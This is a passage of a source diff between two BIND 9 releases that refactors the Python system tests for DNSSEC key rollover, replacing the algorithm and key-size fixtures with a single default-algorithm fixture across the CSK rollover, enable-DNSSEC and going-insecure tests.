offset:{OFFSETS['step2-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden offset:{OFFSETS['step2-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden offset:{OFFSETS['step2-s']}", ], "keyrelationships": [0, 1], # Next key event is when the successor CSK becomes OMNIPRESENT. @@ -189,7 +181,7 @@ param("manual"), ], ) -def test_csk_roll1_step3(tld, alg, size, ns3): +def test_csk_roll1_step3(tld, ns3, default_algorithm): zone = f"step3.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -201,8 +193,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step3-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step3-s']}", ], "keyrelationships": [0, 1], "manual-mode": True, @@ -253,8 +245,8 @@ # CSK1 ds: omnipresent -> unretentive # CSK2 ds: hidden -> rumoured "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:unretentive offset:{OFFSETS['step3-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:rumoured offset:{OFFSETS['step3-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:unretentive offset:{OFFSETS['step3-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:rumoured offset:{OFFSETS['step3-s']}", ], "keyrelationships": [0, 1], # Next key event is when the predecessor DS has been replaced with @@ -276,7 +268,7 @@ param("manual"), ], ) -def test_csk_roll1_step4(tld, alg, size, ns3): +def test_csk_roll1_step4(tld, ns3, default_algorithm): zone = f"step4.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -288,8 +280,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step4-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [0, 1], "manual-mode": True, @@ -321,8 +313,8 @@ # CSK1 ds: unretentive -> hidden # CSK2 ds: rumoured -> omnipresent "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:unretentive zrrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step4-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:unretentive zrrsig:unretentive ds:hidden offset:{OFFSETS['step4-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step4-s']}", ], "keyrelationships": [0, 1], # Next key event is when the KRRSIG enters the HIDDEN state. @@ -341,7 +333,7 @@ param("manual"), ], ) -def test_csk_roll1_step5(tld, alg, size, ns3): +def test_csk_roll1_step5(tld, ns3, default_algorithm): zone = f"step5.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -355,8 +347,8 @@ # The predecessor KRRSIG records are now all hidden. # CSK1 krrsig: unretentive -> hidden "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:hidden zrrsig:unretentive ds:hidden offset:{OFFSETS['step5-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step5-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:hidden zrrsig:unretentive ds:hidden offset:{OFFSETS['step5-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:omnipresent offset:{OFFSETS['step5-s']}", ], "keyrelationships": [0, 1], # Next key event is when the DNSKEY can be removed. This is when @@ -374,7 +366,7 @@ param("manual"), ], ) -def test_csk_roll1_step6(tld, alg, size, ns3): +def test_csk_roll1_step6(tld, ns3, default_algorithm): zone = f"step6.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -392,8 +384,8 @@ # CSK1 zrrsig: unretentive -> hidden # CSK2 zrrsig: rumoured -> omnipresent "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:unretentive krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step6-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step6-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", ], "keyrelationships": [0, 1], # Next key event is when the DNSKEY enters the HIDDEN state. @@ -410,7 +402,7 @@ param("manual"), ], ) -def test_csk_roll1_step7(tld, alg, size, ns3): +def test_csk_roll1_step7(tld, ns3, default_algorithm): zone = f"step7.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -423,8 +415,8 @@ "cdss": CDSS, # The predecessor CSK is now completely HIDDEN. "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step7-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step7-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step7-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step7-s']}", ], "keyrelationships": [0, 1], # Next key event is when the new successor needs to be published. @@ -442,7 +434,7 @@ param("manual"), ], ) -def test_csk_roll1_step8(tld, alg, size, ns3): +def test_csk_roll1_step8(tld, ns3, default_algorithm): zone = f"step8.csk-roll1.{tld}" policy = f"{POLICY}-{tld}" @@ -454,7 +446,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step8-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step8-s']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-csk-roll2/tests_rollover_csk_roll2.py bind9-9.20.21/bin/tests/system/rollover-csk-roll2/tests_rollover_csk_roll2.py --- bind9-9.20.18/bin/tests/system/rollover-csk-roll2/tests_rollover_csk_roll2.py 2026-01-09 13:39:28.162974317 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-csk-roll2/tests_rollover_csk_roll2.py 2026-03-13 22:01:10.705877219 +0000 @@ -9,26 +9,18 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - from datetime import timedelta import pytest -import isctest from isctest.kasp import Ipub, Iret from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - TIMEDELTA, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_cskroll2, -) +from rollover.common import ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_cskroll2, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CDSS = ["CDNSKEY", "CDS (SHA-256)", "CDS (SHA-384)"] CONFIG = { @@ -103,7 +95,7 @@ param("manual"), ], ) -def test_csk_roll2_step1(tld, alg, size, ns3): +def test_csk_roll2_step1(tld, ns3, default_algorithm): zone = f"step1.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -117,7 +109,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step1-p']}", ], # Next key event is when the successor CSK needs to be published # minus time already elapsed. This is Lcsk - Ipub + Dreg (we ignore @@ -134,7 +126,7 @@ param("manual"), ], ) -def test_csk_roll2_step2(tld, alg, size, ns3): +def test_csk_roll2_step2(tld, ns3, default_algorithm): zone = f"step2.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -146,7 +138,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", ], "manual-mode": True, "nextev": None, @@ -175,8 +167,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden offset:{OFFSETS['step2-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step2-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden offset:{OFFSETS['step2-s']}", ], "keyrelationships": [0, 1], # Next key event is when the successor CSK becomes OMNIPRESENT. @@ -192,7 +184,7 @@ param("manual"), ], ) -def test_csk_roll2_step3(tld, alg, size, ns3): +def test_csk_roll2_step3(tld, ns3, default_algorithm): zone = f"step3.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -204,8 +196,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step3-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step3-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step3-s']}", ], "keyrelationships": [0, 1], "manual-mode": True, @@ -256,8 +248,8 @@ # CSK1 ds: omnipresent -> unretentive # CSK2 ds: hidden -> rumoured "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:unretentive offset:{OFFSETS['step3-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:rumoured offset:{OFFSETS['step3-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:unretentive ds:unretentive offset:{OFFSETS['step3-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:rumoured offset:{OFFSETS['step3-s']}", ], "keyrelationships": [0, 1], # Next key event is when the predecessor DS has been replaced with @@ -279,7 +271,7 @@ param("manual"), ], ) -def test_csk_roll2_step4(tld, alg, size, ns3): +def test_csk_roll2_step4(tld, ns3, default_algorithm): zone = f"step4.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -295,8 +287,8 @@ # CSK1 zrrsig: unretentive -> hidden # CSK2 zrrsig: rumoured -> omnipresent "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:unretentive offset:{OFFSETS['step4-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{OFFSETS['step4-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:unretentive offset:{OFFSETS['step4-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{OFFSETS['step4-s']}", ], "keyrelationships": [0, 1], # Next key event is when the predecessor DS has been replaced with @@ -318,7 +310,7 @@ param("manual"), ], ) -def test_csk_roll2_step5(tld, alg, size, ns3): +def test_csk_roll2_step5(tld, ns3, default_algorithm): zone = f"step5.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -330,8 +322,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", ], "keyrelationships": [0, 1], "manual-mode": True, @@ -364,8 +356,8 @@ # The successor key is now fully OMNIPRESENT. # CSK2 ds: rumoured -> omnipresent "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:unretentive krrsig:unretentive zrrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:unretentive krrsig:unretentive zrrsig:hidden ds:hidden offset:{OFFSETS['step5-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step5-s']}", ], "keyrelationships": [0, 1], # Next key event is when the DNSKEY enters the HIDDEN state. @@ -382,7 +374,7 @@ param("manual"), ], ) -def test_csk_roll2_step6(tld, alg, size, ns3): +def test_csk_roll2_step6(tld, ns3, default_algorithm): zone = f"step6.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -397,8 +389,8 @@ # CSK1 dnskey: unretentive -> hidden # CSK1 krrsig: unretentive -> hidden "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step6-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step6-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step6-s']}", ], "keyrelationships": [0, 1], # Next key event is when the new successor needs to be published. @@ -415,7 +407,7 @@ param("manual"), ], ) -def test_csk_roll2_step7(tld, alg, size, ns3): +def test_csk_roll2_step7(tld, ns3, default_algorithm): zone = f"step7.csk-roll2.{tld}" policy = f"{POLICY}-{tld}" @@ -428,8 +420,8 @@ "cdss": CDSS, # The predecessor CSK is now completely HIDDEN. "keyprops": [ - f"csk {LIFETIME_POLICY} {alg} {size} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step7-p']}", - f"csk {LIFETIME_POLICY} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step7-s']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:hidden krrsig:hidden zrrsig:hidden ds:hidden offset:{OFFSETS['step7-p']}", + f"csk {LIFETIME_POLICY} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step7-s']}", ], "keyrelationships": [0, 1], "nextev": None, diff -Nru bind9-9.20.18/bin/tests/system/rollover-dynamic2inline/tests_rollover_dynamic2inline.py bind9-9.20.21/bin/tests/system/rollover-dynamic2inline/tests_rollover_dynamic2inline.py --- bind9-9.20.18/bin/tests/system/rollover-dynamic2inline/tests_rollover_dynamic2inline.py 2026-01-09 13:39:28.162974317 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-dynamic2inline/tests_rollover_dynamic2inline.py 2026-03-13 22:01:10.705877219 +0000 @@ -9,19 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import +from rollover.common import CDSS, DEFAULT_CONFIG, ROLLOVER_MARK import isctest -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DEFAULT_CONFIG, -) +pytestmark = ROLLOVER_MARK -def test_dynamic2inline(alg, size, ns3, templates): + +def test_dynamic2inline(ns3, default_algorithm, templates): config = DEFAULT_CONFIG policy = "default" zone = "dynamic2inline.kasp" @@ -32,7 +27,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-enable-dnssec/tests_rollover_enable_dnssec.py bind9-9.20.21/bin/tests/system/rollover-enable-dnssec/tests_rollover_enable_dnssec.py --- bind9-9.20.18/bin/tests/system/rollover-enable-dnssec/tests_rollover_enable_dnssec.py 2026-01-09 13:39:28.162974317 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-enable-dnssec/tests_rollover_enable_dnssec.py 2026-03-13 22:01:10.706877187 +0000 @@ -9,25 +9,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from isctest.kasp import Ipub, IpubC, Iret from isctest.util import param -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - TIMEDELTA, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_enable_dnssec, -) +from rollover.common import CDSS, ROLLOVER_MARK, TIMEDELTA +from rollover.setup import configure_enable_dnssec, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK CONFIG = { "dnskey-ttl": TIMEDELTA["PT5M"], @@ -83,7 +74,7 @@ param("manual"), ], ) -def test_rollover_enable_dnssec_step1(tld, alg, size, ns3): +def test_rollover_enable_dnssec_step1(tld, default_algorithm, ns3): zone = f"step1.enable-dnssec.{tld}" policy = f"{POLICY}-{tld}" @@ -114,7 +105,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden offset:{OFFSETS['step1']}", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden offset:{OFFSETS['step1']}", ], # Next key event is when the DNSKEY RRset becomes OMNIPRESENT, # after the publication interval. @@ -130,7 +121,7 @@ param("manual"), ], ) -def test_rollover_enable_dnssec_step2(tld, alg, size, ns3): +def test_rollover_enable_dnssec_step2(tld, default_algorithm, ns3): zone = f"step2.enable-dnssec.{tld}" policy = f"{POLICY}-{tld}" @@ -146,7 +137,7 @@ # dnskey: rumoured -> omnipresent # krrsig: rumoured -> omnipresent "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:hidden offset:{OFFSETS['step2']}", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:rumoured ds:hidden offset:{OFFSETS['step2']}", ], # Next key event is when the zone signatures become OMNIPRESENT, # Minus the time already elapsed. @@ -162,7 +153,7 @@ param("manual"), ], ) -def test_rollover_enable_dnssec_step3(tld, alg, size, ns3): +def test_rollover_enable_dnssec_step3(tld, default_algorithm, ns3): zone = f"step3.enable-dnssec.{tld}" policy = f"{POLICY}-{tld}" @@ -174,7 +165,7 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:hidden offset:{OFFSETS['step3']}", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:hidden offset:{OFFSETS['step3']}", ], "manual-mode": True, "nextev": None, @@ -200,7 +191,7 @@ # zrrsig: rumoured -> omnipresent # ds: hidden -> rumoured "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{OFFSETS['step3']}", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:rumoured offset:{OFFSETS['step3']}", ], # Next key event is when the DS can move to the OMNIPRESENT state. # This is after the retire interval. @@ -216,7 +207,7 @@ param("manual"), ], ) -def test_rollover_enable_dnssec_step4(tld, alg, size, ns3): +def test_rollover_enable_dnssec_step4(tld, default_algorithm, ns3): zone = f"step4.enable-dnssec.{tld}" policy = f"{POLICY}-{tld}" @@ -230,7 +221,7 @@ # DS has been published long enough. # ds: rumoured -> omnipresent "keyprops": [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4']}", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent offset:{OFFSETS['step4']}", ], # Next key event is never, the zone dnssec-policy has been # established. So we fall back to the default loadkeys interval. diff -Nru bind9-9.20.18/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_initial.py bind9-9.20.21/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_initial.py --- bind9-9.20.18/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_initial.py 2026-01-09 13:39:28.163974343 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_initial.py 2026-03-13 22:01:10.706877187 +0000 @@ -9,24 +9,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest +from rollover.common import CDSS, DURATION, ROLLOVER_MARK, UNSIGNING_CONFIG +from rollover.setup import configure_going_insecure, configure_root, configure_tld + import isctest -from rollover.common import ( - pytestmark, - alg, - size, - CDSS, - DURATION, - UNSIGNING_CONFIG, -) -from rollover.setup import ( - configure_root, - configure_tld, - configure_going_insecure, -) + +pytestmark = ROLLOVER_MARK def bootstrap(): @@ -53,7 +43,7 @@ "going-insecure-dynamic.kasp", ], ) -def test_going_insecure_initial(zone, ns3, alg, size): +def test_going_insecure_initial(zone, ns3, default_algorithm): config = UNSIGNING_CONFIG policy = "unsigning" zone = f"step1.{zone}" @@ -64,8 +54,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"ksk 0 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", - f"zsk {DURATION['P60D']} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{-DURATION['P10D']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent offset:{-DURATION['P10D']}", + f"zsk {DURATION['P60D']} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent offset:{-DURATION['P10D']}", ], "nextev": None, } diff -Nru bind9-9.20.18/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_reconfig.py bind9-9.20.21/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_reconfig.py --- bind9-9.20.18/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_reconfig.py 2026-01-09 13:39:28.163974343 +0000 +++ bind9-9.20.21/bin/tests/system/rollover-going-insecure/tests_rollover_going_insecure_reconfig.py 2026-03-13 22:01:10.706877187 +0000 @@ -9,25 +9,20 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import pytest -import isctest from rollover.common import ( - pytestmark, - alg, - size, CDSS, DEFAULT_CONFIG, DURATION, + ROLLOVER_MARK, UNSIGNING_CONFIG, ) -from rollover.setup import ( - configure_root, - configure_tld, - configure_going_insecure, -) +from rollover.setup import configure_going_insecure, configure_root, configure_tld + +import isctest + +pytestmark = ROLLOVER_MARK def bootstrap(): @@ -60,7 +55,7 @@ "going-insecure-dynamic.kasp", ], ) -def test_going_insecure_reconfig_step1(zone, alg, size, ns3): +def test_going_insecure_reconfig_step1(zone, ns3, default_algorithm): config = DEFAULT_CONFIG policy = "insecure" zone = f"step1.{zone}" @@ -73,8 +68,8 @@ "zone": zone, "cdss": CDSS, "keyprops": [ - f"ksk 0 {alg} {size} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{-DURATION['P10D']}", - f"zsk {DURATION['P60D']} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent offset:{-DURATION['P10D']}", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:unretentive offset:{-DURATION['P10D']}", + f"zsk 